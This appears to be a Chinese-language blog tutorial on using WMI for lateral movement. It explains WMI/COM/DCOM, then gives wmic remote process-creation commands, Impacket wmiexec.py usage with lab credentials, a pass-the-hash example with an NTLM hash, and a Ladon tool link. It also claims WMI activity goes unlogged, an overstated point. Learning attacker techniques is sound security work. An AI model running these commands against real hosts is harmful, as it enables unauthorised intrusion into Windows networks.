WMI横向
WMI横向
特让他也让WMI 介绍
WMI,全称 Windows Management Instrumentation,可以理解为 Windows 操作系统内部的一个“管理中心”。它提供了一套标准化的接口和方法,让管理员(或者程序)可以方便地查询系统信息、配置系统设置、监控系统状态,甚至远程控制计算机。你可以把它想象成一个巨大的信息数据库和控制面板,只不过这个数据库和控制面板不仅可以管理本地计算机,还可以通过网络管理其他计算机。
WMI 基于一种叫做 WBEM(Web-Based Enterprise Management)的工业标准。WBEM 试图建立一套统一的、与具体平台无关的管理规范,而 WMI 则是微软在 Windows 平台上对 WBEM 的具体实现。也就是说,WMI 遵循 WBEM 的大框架,同时又针对 Windows 系统的特点做了适配和扩展。
要理解 WMI,就不得不提到 COM(Component Object Model,组件对象模型)。COM 可以说是 WMI 的底层基石。
COM 是一种微软提出的组件技术,它允许不同的软件组件(可以是用不同语言编写的)之间进行交互和通信。你可以把 COM 想象成一种“乐高积木”式的编程模型,不同的积木(组件)可以按照一定的规则(接口)组合在一起,构建出复杂的应用程序。
WMI 在很大程度上依赖于 COM 技术。WMI 服务本身就是一个 COM 服务器,它提供了一系列的 COM 对象,这些对象代表了系统中的各种资源(例如进程、服务、磁盘、网络适配器等)。外部程序(例如 wmic 命令行工具或 PowerShell 脚本)通过创建和操作这些 COM 对象,来实现对系统的管理和控制。
更进一步, WMI 和 DCOM (Distributed COM) 关系密切. DCOM 是 COM 的扩展, 允许组件在网络上的不同计算机之间进行通信. WMI 利用 DCOM 实现了其远程管理功能。当你在本地计算机上使用 WMI 连接到远程计算机时,实际上是通过 DCOM 在两台计算机之间建立了通信通道,然后通过这个通道来操作远程计算机上的 WMI 对象。
总而言之,COM 为 WMI 提供了底层的组件交互机制,而 DCOM 则为 WMI 提供了跨网络的远程访问能力。WMI 就像是建在 COM/DCOM 这座桥梁之上的一个高级管理平台,使得对 Windows 系统的管理变得更加方便和灵活。而这种便利性, 在安全防护薄弱的情况下, 也会被攻击者利用。
WMI 之所以会成为横向移动的常用工具,主要在于它的以下几个特性:
- 远程执行能力: WMI 的核心功能之一就是允许管理员(或攻击者)在远程计算机上执行命令和脚本,而无需直接登录到目标系统。这就像拥有了一把“万能钥匙”,可以在网络中的不同计算机之间自由穿梭。
- 凭据传递机制: WMI 在进行远程操作时,可以利用当前用户的凭据,也可以指定其他用户的凭据。这意味着,如果攻击者获取了某个管理员账户的凭据,就可以利用 WMI 控制网络中的大量计算机。
- 系统内置与广泛可用: WMI 是 Windows 操作系统的标准组件,几乎所有 Windows 系统都默认启用。这就好比每家每户都装了一扇门,而这扇门恰好可以被某种特定的“钥匙”打开。
- 事件触发能力: WMI 可以配置为当某些系统事件发生时(比如用户登录, 服务启动等), 触发一个预定义的操作. 这可以被攻击者用于持久化控制.
尤其还有一点,相对于 PsExec 来说,WMI 不会被系统记录在日志里
WMI 横向
系统命令
基本命令格式如下
1 | wmic /node:目标IP /user:用户名 /password:密码 process call create "要执行的命令" |
比如说,在目标主机上执行一个程序
1 | wmic /node:192.168.52.138 /user:trtyr.top\administrator /password:Admin@123 process call create "cmd.exe /c calc.exe" |
列出目标主机进程
1 | wmic /node:192.168.52.138 /user:trtyr.top\administrator /password:Admin@123 process list brief |
不过通过这种方式执行命令,是没有回显的,所以我们需要使用一些其他的工具
WmiExec.py
WmiExec.py
是 Impack
包下的一个脚本文件,可以使用 WMI 对目标主机进行操作
使用方式如下
1 | python .\WmiExec.py TRTYR/administrator:"Admin@123"@192.168.52.138 |
该脚本可以进行 PTH
1 | python .\WmiExec.py -hashes :570a9a65db8fba761c1008a51d4c95ab TRTYR/administrator:"Admin@123"@192.168.52.138 |
注意:NTLM Hash 前要加一个
:
Ladon
下载链接:https://github.com/k8gege/Ladon
该工具有 GUI 版本